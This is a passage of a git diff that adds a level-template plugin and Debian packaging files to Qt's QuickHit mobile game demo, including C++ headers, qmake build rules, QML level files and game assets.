+ QVariant ret;
+ m_imageReader.setFileName(pathToGraph.toString());
+ QSize imageSize = m_imageReader.size();
+ ret.setValue(imageSize);
+ return ret;
+}
+
+// This Qt macro exports the plugin class level with the name levelplugins.
+// There should be exactly one occurrence of this macro in a Qt plugin's source code.
+Q_EXPORT_PLUGIN2(levelplugins, LevelTemplate);
+
+
+
+
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/leveltemplate.h b/demos/mobile/quickhit/plugins/LevelTemplate/leveltemplate.h
new file mode 100644
index 00000000..413da49d
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/leveltemplate.h
@@ -0,0 +1,95 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef LevelTemplate_H
+#define LevelTemplate_H
+
+#include <QObject>
+#include <QDir>
+#include <QImageReader>
+
+// Common interface header for all level plugins
+#include "levelplugininterface.h"
+
+// Level name
+#define LEVEL_NAME "leveltemplate"
+
+class LevelTemplate : public LevelPluginInterface
+{
+ Q_OBJECT
+
+ // This macro tells Qt which interfaces the class implements.
+ // This is used when implementing plugins.
+ Q_INTERFACES(LevelPluginInterface)
+
+public:
+ LevelTemplate();
+ ~LevelTemplate();
+
+ static QString pathPrefix();
+
+public: // From LevelPluginInterface
+
+ QStringList levelSounds();
+
+ Q_INVOKABLE QVariant getData(QVariant key);
+
+ Q_INVOKABLE QVariant graphSize(QVariant pathToGraph);
+
+ Q_INVOKABLE QVariant enemyCount() { return QVariant(1); }
+ Q_INVOKABLE QVariant enemyRowCount() { return QVariant(0); }
+ Q_INVOKABLE QVariant enemySpeed() { return QVariant(20000); }
+ Q_INVOKABLE QVariant enemyFireSpeed() { return QVariant(2000); }
+
+ // Root paths for the QML, Pictures and Sounds
+ Q_INVOKABLE QVariant qmlRootPath() { return QVariant(LevelTemplate::pathPrefix()+"quickhitdata/"+LEVEL_NAME+"/"); }
+ Q_INVOKABLE QVariant pictureRootPath() { return QVariant(LevelTemplate::pathPrefix()+"quickhitdata/"+LEVEL_NAME+"/gfx/"); }
+
+ // Full paths
+ Q_INVOKABLE QVariant pathToTransparentEnemyPic() {return QVariant(LevelTemplate::pathPrefix()+"quickhitdata/"+LEVEL_NAME+"/gfx/transparent.png");}
+ Q_INVOKABLE QVariant pathToMissilePic() {return QVariant(LevelTemplate::pathPrefix()+"quickhitdata/"+LEVEL_NAME+"/gfx/missile2.png");}
+ Q_INVOKABLE QVariant pathToEnemyMissilePic() {return QVariant(LevelTemplate::pathPrefix()+"quickhitdata/"+LEVEL_NAME+"/gfx/enemy_missile2.png");}
+ Q_INVOKABLE QVariant pathToMyShipPic() {return QVariant(LevelTemplate::pathPrefix()+"quickhitdata/"+LEVEL_NAME+"/gfx/ship.png");}
+
+protected:
+ QImageReader m_imageReader;
+};
+
+#endif // LevelTemplate_H
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/leveltemplate.pro b/demos/mobile/quickhit/plugins/LevelTemplate/leveltemplate.pro
new file mode 100644
index 00000000..0eecca7e
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/leveltemplate.pro
@@ -0,0 +1,100 @@
+TEMPLATE = lib
+
+#VERSION = 1.1.0
+
+CONFIG += plugin
+
+INCLUDEPATH += ../
+
+HEADERS = leveltemplate.h
+
+SOURCES = leveltemplate.cpp
+
+TARGET = $$qtLibraryTarget(leveltemplate)
+
+OTHER_FILES += qml/Level.qml \
+ qml/Enemy.qml \
+ qml/Level.js
+
+
+# SYMBIAN ---------------------------
+symbian: {
+# Load predefined include paths (e.g. QT_PLUGINS_BASE_DIR) to be used in the pro-files
+load(data_caging_paths)
+
+# EPOCALLOWDLLDATA have to set true because Qt macros has initialised global data
+TARGET.EPOCALLOWDLLDATA=1
+TARGET.UID3 = 0xE07dfb68
+
+TARGET.CAPABILITY = NetworkServices \
+ Location \
+ ReadUserData \
+ WriteUserData \
+ LocalServices \
+ UserEnvironment
+
+# Defines plugin stub file into Symbian .pkg package
+pluginDep.sources = leveltemplate.dll
+pluginDep.path = $$QT_PLUGINS_BASE_DIR/quickhitlevels
+DEPLOYMENT += pluginDep
+
+# Graphics and Sounds for the plugin
+BLD_INF_RULES.prj_exports += "gfx/enemy1.png ../winscw/c/Data/gfx/enemy1.png" \
+"gfx/enemy2.png ../winscw/c/Data/gfx/enemy2.png" \
+"gfx/missile2.png ../winscw/c/Data/gfx/missile2.png" \
+"gfx/enemy_missile2.png ../winscw/c/Data/gfx/enemy_missile2.png" \
+"gfx/ship.png ../winscw/c/Data/gfx/ship.png" \
+"gfx/transparent.png ../winscw/c/Data/gfx/transparent.png" \
+"gfx/blue_fire.png ../winscw/c/Data/gfx/blue_fire.png" \
+"sound/enemy_explosion.wav ../winscw/c/Data/sound/enemy_explosion.wav" \
+"sound/myship_explosion.wav ../winscw/c/Data/sound/myship_explosion.wav" \
+"sound/enableship.wav ../winscw/c/Data/sound/enableship.wav" \
+"sound/laser.wav ../winscw/c/Data/sound/laser.wav" \
+"sound/level2.wav ../winscw/c/Data/sound/level2.wav" \
+"qml/Level.qml ../winscw/c/Data/Level.qml" \
+"qml/Level.js ../winscw/c/Data/Level.js" \
+"qml/Enemy.qml ../winscw/c/Data/Enemy.qml"
+
+
+myQml.sources = qml/*
+myQml.path = c:/system/quickhitdata/leveltemplate
+myGraphic.sources = gfx/*
+myGraphic.path = c:/system/quickhitdata/leveltemplate/gfx
+mySound.sources = sound/*
+mySound.path = c:/system/quickhitdata/leveltemplate/sound
+# Takes qml, graphics and sounds into Symbian SIS package file (.pkg)
+DEPLOYMENT += myQml myGraphic mySound
+
+target.path += $$[QT_INSTALL_PLUGINS]/quickhitlevels
+# Installs binaries
+INSTALLS += target
+}
+
+# WINDOWS ---------------------------
+win32: {
+# Copy level sounds and graphics into right destination
+system(mkdir c:\quickhitdata\leveltemplate)
+system(mkdir c:\quickhitdata\leveltemplate\gfx)
+system(mkdir c:\quickhitdata\leveltemplate\sound)
+system(copy qml\*.* c:\quickhitdata\leveltemplate)
+system(copy gfx\*.* c:\quickhitdata\leveltemplate\gfx)
+system(copy sound\*.* c:\quickhitdata\leveltemplate\sound)
+
+# Installs binaries
+target.path += $$[QT_INSTALL_PLUGINS]/quickhitlevels
+INSTALLS += target
+}
+
+# MAEMO_5 ---------------------------
+maemo5: {
+myQml.path = /home/user/.quickhitdata/leveltemplate/
+myQml.files += qml/*
+myGraphic.path = /home/user/.quickhitdata/leveltemplate/gfx/
+myGraphic.files += gfx/*
+mySound.path = /home/user/.quickhitdata/leveltemplate/sound/
+mySound.files += sound/*
+
+target.path += /usr/lib/qt4/plugins/quickhitlevels
+# Installs qml, binaries, sounds and graphics
+INSTALLS += target myGraphic mySound myQml
+}
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/qml/Enemy.qml b/demos/mobile/quickhit/plugins/LevelTemplate/qml/Enemy.qml
new file mode 100644
index 00000000..05c39718
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/qml/Enemy.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Image {
+ id: enemy
+
+ // ***************************************************
+ // *** NOTE: This "enemy "is mandatory enemy object name for all enemy QML files
+ objectName: "enemy"
+
+ smooth:true
+ opacity: 0 // 0=hidden by default
+ fillMode:Image.PreserveAspectFit
+ source:"file:/"+LevelPlugin.pictureRootPath()+"enemy1.png"
+
+ property int enemySpeed: LevelPlugin.enemySpeed()
+
+ // ***************************************************
+ // *** NOTE: This "pause(bool)" function is mandatory for all enemies QML files
+ function pause(doPause) {
+ }
+}
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/qml/Level.js b/demos/mobile/quickhit/plugins/LevelTemplate/qml/Level.js
new file mode 100644
index 00000000..e2aef689
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/qml/Level.js
@@ -0,0 +1,42 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+var hiddenEnemies = new Array()
+
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/qml/Level.qml b/demos/mobile/quickhit/plugins/LevelTemplate/qml/Level.qml
new file mode 100644
index 00000000..256e6862
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/qml/Level.qml
@@ -0,0 +1,103 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.particles 1.0
+
+// Level own JavaScript file
+import "Level.js" as LevelScript
+
+Rectangle {
+ id: enemies
+ anchors.fill: parent
+ property int enemiesCreated: 0
+ property int enemiesEnabled: 0
+ color: "black"
+
+ // ***************************************************
+ // *** NOTE: This "pause(bool)" function is mandatory for all level QML files
+ function pause(doPause) {
+ }
+
+ // ***************************************************
+ // *** NOTE: Level object name "level" is mandatory for all level QML files
+ objectName: "level"
+
+ // Enemy placeholder. Have to exist at least one enemy for prevent to level be stopped
+ Enemy {
+ x: parent.width / 2
+ y: parent.height / 2
+ opacity: 1
+ }
+
+ // ***************************************************
+ // *** NOTE: This is mandatory for all level QML files
+ // Execute explode particle effect
+ function explode(x,y) {
+ explodeParticles.x = x
+ explodeParticles.y = y
+ explodeParticles.burst(20)
+ explodeParticles.opacity = 1
+ }
+
+ // ***************************************************
+ // *** NOTE: This is mandatory for all level QML files
+ // Explode particle effect
+ Particles {
+ id: explodeParticles
+ opacity: 0
+ width: 1
+ height: 1
+ emissionRate: 0
+ source: "file:/"+LevelPlugin.pictureRootPath()+"blue_fire.png"
+ lifeSpan: 500
+ lifeSpanDeviation: 2000
+ count: -1
+ angle: 270
+ angleDeviation: 65
+ velocity: 100
+ velocityDeviation: 100
+ ParticleMotionGravity {
+ yattractor: 1000
+ xattractor: 300
+ acceleration: 50
+ }
+ }
+}
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/sound/crash.wav b/demos/mobile/quickhit/plugins/LevelTemplate/sound/crash.wav
new file mode 100644
index 00000000..8076f0f6
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/sound/crash.wav
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/sound/enableship.wav b/demos/mobile/quickhit/plugins/LevelTemplate/sound/enableship.wav
new file mode 100644
index 00000000..6fe5fe84
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/sound/enableship.wav
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/sound/enemy_explosion.wav b/demos/mobile/quickhit/plugins/LevelTemplate/sound/enemy_explosion.wav
new file mode 100644
index 00000000..fd338e6b
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/sound/enemy_explosion.wav
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/sound/laser.wav b/demos/mobile/quickhit/plugins/LevelTemplate/sound/laser.wav
new file mode 100644
index 00000000..c3b58b20
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/sound/laser.wav
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/sound/level2.wav b/demos/mobile/quickhit/plugins/LevelTemplate/sound/level2.wav
new file mode 100644
index 00000000..24d39174
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/sound/level2.wav
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/sound/myship_explosion.wav b/demos/mobile/quickhit/plugins/LevelTemplate/sound/myship_explosion.wav
new file mode 100644
index 00000000..e22d030e
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/sound/myship_explosion.wav
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/sound/rocket.wav b/demos/mobile/quickhit/plugins/LevelTemplate/sound/rocket.wav
new file mode 100644
index 00000000..8c0dee9a
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/sound/rocket.wav
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/sound/rocket_explosion.wav b/demos/mobile/quickhit/plugins/LevelTemplate/sound/rocket_explosion.wav
new file mode 100644
index 00000000..d2b451cc
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/sound/rocket_explosion.wav
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/debian/changelog b/demos/mobile/quickhit/plugins/LevelTwo/debian/changelog
new file mode 100644
index 00000000..106ef66d
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/debian/changelog
@@ -0,0 +1,11 @@
+leveltwo (1.1.0) unstable; urgency=low
+
+ * Final graphics
+
+ -- Antonio Aloisio <antonio.aloisio@nokia.com> Wed, 5 Jan 2011 10:05:04 +0200
+
+leveltwo (1.0.0) unstable; urgency=low
+
+ * First version
+
+ -- Antonio Aloisio <antonio.aloisio@nokia.com> Tue, 19 Oct 2010 10:05:04 +0200
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/debian/compat b/demos/mobile/quickhit/plugins/LevelTwo/debian/compat
new file mode 100644
index 00000000..7f8f011e
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/debian/compat
@@ -0,0 +1 @@
+7
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/debian/control b/demos/mobile/quickhit/plugins/LevelTwo/debian/control
new file mode 100644
index 00000000..8f9d05e4
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/debian/control
@@ -0,0 +1,11 @@
+Source: leveltwo
+Section: user/games
+Priority: extra
+Maintainer: Antonio Aloisio <antonio.aloisio@nokia.com>
+Standards-Version: 3.7.2
+
+Package: leveltwo
+Architecture: any
+Depends: ${shlibs:Depends}, ${misc:Depends}
+Description: QuickHit - LevelTwo
+ QuickHit - LevelTwo
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/debian/copyright b/demos/mobile/quickhit/plugins/LevelTwo/debian/copyright
new file mode 100644
index 00000000..fb9e5a8e
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/debian/copyright
@@ -0,0 +1,8 @@
+This is qmultiwinexample, written and maintained by Forum Nokia Antonio Aloisio <antonio.aloisio@nokia.com>
+on Tue, 19 Oct 2010 10:05:04 +0200
+
+
+Copyright Holder: Nokia (c) 2010
+
+License:
+
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/debian/dirs b/demos/mobile/quickhit/plugins/LevelTwo/debian/dirs
new file mode 100644
index 00000000..80507f10
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/debian/dirs
@@ -0,0 +1,2 @@
+usr/bin
+usr/share/applications/hildon
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/debian/levelone.tarlist b/demos/mobile/quickhit/plugins/LevelTwo/debian/levelone.tarlist
new file mode 100644
index 00000000..f3146fa1
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/debian/levelone.tarlist
@@ -0,0 +1,41 @@
+755 root root . home /
+755 root root . home/maemo /
+755 root root . home/maemo/quickhitdata /
+755 root root . home/maemo/quickhitdata/levelone /
+644 root root . home/maemo/quickhitdata/levelone/Level.qml debian/levelone/home/maemo/quickhitdata/levelone/Level.qml
+755 root root . home/maemo/quickhitdata/leveltwo /
+755 root root . home/maemo/quickhitdata/leveltwo/gfx /
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/background3.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/background3.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/blue_fire.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/blue_fire.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/enemy1.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/enemy1.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/enemy2.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/enemy2.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/enemy_missile2.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/enemy_missile2.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/fire.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/fire.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/fire2.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/fire2.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/missile.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/missile.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/missile2.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/missile2.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/moon.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/moon.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/ship.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/ship.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/star3.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/star3.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/transparent.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/transparent.png
+755 root root . home/maemo/quickhitdata/leveltwo/sound /
+644 root root . home/maemo/quickhitdata/leveltwo/sound/crash.wav debian/levelone/home/maemo/quickhitdata/leveltwo/sound/crash.wav
+644 root root . home/maemo/quickhitdata/leveltwo/sound/enemy_explosion.wav debian/levelone/home/maemo/quickhitdata/leveltwo/sound/enemy_explosion.wav
+644 root root . home/maemo/quickhitdata/leveltwo/sound/laser.wav debian/levelone/home/maemo/quickhitdata/leveltwo/sound/laser.wav
+644 root root . home/maemo/quickhitdata/leveltwo/sound/myship_explosion.wav debian/levelone/home/maemo/quickhitdata/leveltwo/sound/myship_explosion.wav
+644 root root . home/maemo/quickhitdata/leveltwo/sound/rocket.wav debian/levelone/home/maemo/quickhitdata/leveltwo/sound/rocket.wav
+644 root root . home/maemo/quickhitdata/leveltwo/sound/rocket_explosion.wav debian/levelone/home/maemo/quickhitdata/leveltwo/sound/rocket_explosion.wav
+755 root root . usr /
+755 root root . usr/bin /
+755 root root . usr/lib /
+755 root root . usr/lib/qt4 /
+755 root root . usr/lib/qt4/plugins /
+755 root root . usr/lib/qt4/plugins/quickhitlevels /
+644 root root . usr/lib/qt4/plugins/quickhitlevels/libleveltwo.so debian/levelone/usr/lib/qt4/plugins/quickhitlevels/libleveltwo.so
+755 root root . usr/share /
+755 root root . usr/share/applications /
+755 root root . usr/share/applications/hildon /
+755 root root . usr/share/doc /
+755 root root . usr/share/doc/levelone /
+644 root root . usr/share/doc/levelone/changelog.gz debian/levelone/usr/share/doc/levelone/changelog.gz
+644 root root . usr/share/doc/levelone/copyright debian/levelone/usr/share/doc/levelone/copyright
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/debian/postinst b/demos/mobile/quickhit/plugins/LevelTwo/debian/postinst
new file mode 100644
index 00000000..79fb6ddd
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/debian/postinst
@@ -0,0 +1,5 @@
+#!/bin/sh -e
+
+gtk-update-icon-cache -f /usr/share/icons/hicolor
+
+exit 0
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/debian/rules b/demos/mobile/quickhit/plugins/LevelTwo/debian/rules
new file mode 100644
index 00000000..5dac6e09
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/debian/rules
@@ -0,0 +1,91 @@
+#!/usr/bin/make -f
+# -*- makefile -*-
+# Sample debian/rules that uses debhelper.
+# This file was originally written by Joey Hess and Craig Small.
+# As a special exception, when this file is copied by dh-make into a
+# dh-make output file, you may use that output file without restriction.
+# This special exception was added by Craig Small in version 0.37 of dh-make.
+
+# Uncomment this to turn on verbose mode.
+#export DH_VERBOSE=1
+
+
+APPNAME := leveltwo
+
+
+configure: configure-stamp
+configure-stamp:
+ dh_testdir
+ # Add here commands to configure the package.
+
+ touch configure-stamp
+
+
+build: build-stamp
+
+build-stamp: configure-stamp
+ dh_testdir
+
+ # Add here commands to compile the package.
+ $(MAKE)
+ #docbook-to-man debian/$(APPNAME).sgml > $(APPNAME).1
+
+ touch $@
+
+clean:
+ dh_testdir
+ dh_testroot
+ rm -f build-stamp configure-stamp
+
+ # Add here commands to clean up after the build process.
+ $(MAKE) clean
+
+ dh_clean
+
+install: build
+ dh_testdir
+ dh_testroot
+ dh_clean -k
+ dh_installdirs
+
+ # Add here commands to install the package into debian/$(APPNAME).
+ $(MAKE) INSTALL_ROOT="$(CURDIR)"/debian/$(APPNAME) install
+
+
+# Build architecture-independent files here.
+binary-indep: build install
+# We have nothing to do by default.
+
+# Build architecture-dependent files here.
+binary-arch: build install
+ dh_testdir
+ dh_testroot
+ dh_installchangelogs
+ dh_installdocs
+ dh_installexamples
+# dh_install
+# dh_installmenu
+# dh_installdebconf
+# dh_installlogrotate
+# dh_installemacsen
+# dh_installpam
+# dh_installmime
+# dh_python
+# dh_installinit
+# dh_installcron
+# dh_installinfo
+ dh_installman
+ dh_link
+ # dh_strip
+ dh_compress
+ dh_fixperms
+# dh_perl
+ dh_makeshlibs
+ dh_installdeb
+ dh_shlibdeps
+ dh_gencontrol
+ dh_md5sums
+ dh_builddeb
+
+binary: binary-indep binary-arch
+.PHONY: build clean binary-indep binary-arch binary install configure
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/gfx/background2.png b/demos/mobile/quickhit/plugins/LevelTwo/gfx/background2.png
new file mode 100644
index 00000000..8fbf2f46
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/gfx/background2.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/gfx/background_loop.png b/demos/mobile/quickhit/plugins/LevelTwo/gfx/background_loop.png
new file mode 100644
index 00000000..3a135d2c
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/gfx/background_loop.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/gfx/blue_fire.png b/demos/mobile/quickhit/plugins/LevelTwo/gfx/blue_fire.png
new file mode 100644
index 00000000..8667a397
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/gfx/blue_fire.png
Binary files differ
